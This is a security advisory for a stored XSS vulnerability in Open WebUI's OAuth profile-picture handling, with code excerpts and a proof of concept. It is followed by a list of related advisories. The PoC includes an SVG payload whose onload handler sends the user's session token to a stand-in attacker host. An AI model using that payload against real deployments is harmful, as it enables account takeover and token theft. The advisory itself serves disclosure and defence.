Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url
High7.3CVE-2026-56398 · Published May 14, 2026 · updated Jul 16, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| open-webui PyPI | < 0.9.5 | 0.9.5 |
Details and references
# Summary When a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:<mime>;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`. The profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `<script>`/`onload` in the same origin and able to read `localStorage.token` → account takeover. Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path. # Details ## 1. MIME inferred from URL extension, not Content-Type `backend/open_webui/utils/oauth.py:1336-1345` , `_process_picture_url`: ```python response = await client.get(picture_url, ...) if response.status_code == 200: picture = response.content base64_encoded_picture = base64.b64encode(picture).decode("utf-8") guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = "image/jpeg" return f"data:{guessed_mime_type};base64,{base64_encoded_picture}" ``` No MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`. ## 2. OAuth path bypasses the profile-image validator `backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`. This validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged. ## 3. Endpoint serves attacker-controlled MIME with `inline` disposition `backend/open_webui/routers/users.py:504-528` , `get_user_profile_image_by_id`: ```python header, encoded = image.split(",", 1) media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml" data = base64.b64decode(encoded) return StreamingResponse( iter([data]), media_type=media_type, headers={"Content-Disposition": "inline"}, ) ``` No MIME whitelist. The route requires `get_verified_user` , any authenticated user reaches it. ## 4. No default CSP / nosniff `backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script. # PoC **Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL. 1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`: ```xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" /> ``` 2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker's `profile_image
More Open WebUI advisories
All Open WebUI| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| May 14 | Open WebUI has Stored Cross-Site Scripting In Profile Picture CVE-2026-45299Medium5.4fixed in 0.8.0 | Medium5.4 | 0.8.0 |
| May 14 | Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file CVE-2026-45301High8.1fixed in 0.3.16 | High8.1 | 0.3.16 |
| May 14 | Open WebUI has stored XSS via the HTML renedering view CVE-2026-45303High7.7fixed in 0.6.5 | High7.7 | 0.6.5 |
| May 14 | Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions CVE-2026-45315High8.7fixed in 0.9.3 | High8.7 | 0.9.3 |
| May 14 | Open WebUI has XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image CVE-2026-45314High6.1fixed in 0.9.3 | High6.1 | 0.9.3 |
| May 14 | Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access) CVE-2026-45316Low3.5fixed in 0.9.3 | Low3.5 | 0.9.3 |